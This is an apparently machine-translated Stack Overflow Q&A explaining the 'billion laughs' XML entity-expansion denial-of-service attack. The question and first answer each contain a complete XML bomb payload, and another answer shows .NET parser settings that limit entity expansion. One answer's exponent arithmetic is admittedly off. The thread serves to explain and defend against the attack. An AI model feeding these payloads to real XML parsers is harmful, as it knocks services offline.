【问题标题】:How does the billion laughs XML DoS attack work?亿笑 XML DoS 攻击是如何工作的?
【发布时间】:2010-08-10 16:28:48
【问题描述】:
<!DOCTYPE root [
 <!ENTITY ha "Ha !">
 <!ENTITY ha2 "&ha; &ha;">
 <!ENTITY ha3 "&ha2; &ha2;">
 <!ENTITY ha4 "&ha3; &ha3;">
 <!ENTITY ha5 "&ha4; &ha4;">
 ...
 <!ENTITY ha128 "&ha127; &ha127;">
 ]>
 <root>&ha128;</root>

据说这被称为十亿笑 DoS 攻击。

有人知道它是如何工作的吗?

【问题讨论】:

标签: xml


【解决方案1】:

Billion Laughs 攻击是一种针对 XML 解析器的拒绝服务攻击。 Billion Laughs 攻击也称为 XML 炸弹,或者更深奥地说,指数实体扩展攻击。即使使用格式良好的 XML 也可能发生 Billion Laughs 攻击,并且还可以通过 XML 模式验证。

下面的 XML 文件说明了普通的 Billion Laughs 攻击。

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

在本例中,有 10 个不同的 XML 实体,lollol9。第一个实体lol 被定义为字符串“lol”。但是,每个其他实体都被定义为另一个实体的 10 个。此 XML 文件的文档内容部分仅包含对实体 lol9 的一个实例的引用。但是,当它被 DOM 或 SAX 解析器解析时,当遇到lol9 时,它会扩展为 10 个lol8s,每个都扩展为 10 个lol7s,依此类推。当所有内容都扩展为文本 lol 时,字符串 "lol" 的实例数已达到 100,000,000 个。如果还有一个实体,或者lol 被定义为“lol” 的10 个字符串,则将有十亿个“lol”,因此是攻击的名称。不用说,这么多的扩展会消耗指数级的资源和时间,导致 DOS。

我的 blog 上有更广泛的解释。

【讨论】:

  • 一定会喜欢您的安全博客网站尝试使用其history and redirect tricks 捕获流量的方式;)
  • 什么?没有 CodePen 示例?
【解决方案2】:

其中一个 XML 炸弹 - http://msdn.microsoft.com/en-us/magazine/ee335713.aspx

攻击者现在可以利用 XML 的这三个属性(替换实体、嵌套实体和内联 DTD)来制造恶意 XML 炸弹。攻击者编写一个包含嵌套实体的 XML 文档,就像前面的示例一样,但不是只嵌套一层,而是将他的实体嵌套了很多层......

还有一些代码可以防止这些“炸弹”(在 .NET 世界中):

XmlReaderSettings settings = new XmlReaderSettings();
settings.ProhibitDtd = false;
settings.MaxCharactersFromEntities = 1024;
XmlReader reader = XmlReader.Create(stream, settings);

【讨论】:

  • 感谢您提供保护免受攻击的代码!
【解决方案3】:

&lt;!ENTITY ha "Ha !"&gt; 定义了一个实体,&amp;ha; 扩展为 "Ha !"。下一行定义了另一个实体&amp;ha2;,它扩展为"&amp;ha; &amp;ha;",最终扩展为"Ha ! Ha !"

&amp;ha3; 变成Ha ! Ha ! Ha ! Ha !,以此类推,每次翻倍。如果按照模式,&amp;haN;"Ha !",2N-1 次,所以 &amp;ha128 扩展为 2127"Ha !"s,即太大了,任何计算机都无法处理。

【讨论】:

  • 糟糕,我想我除以二而不是减一。
猜你喜欢
  • 2011-12-19
  • 1970-01-01
  • 1970-01-01
  • 2011-10-22
  • 2017-08-26
  • 2015-12-11
  • 2011-05-14
  • 2020-09-10
  • 2016-08-15
相关资源
最近更新 更多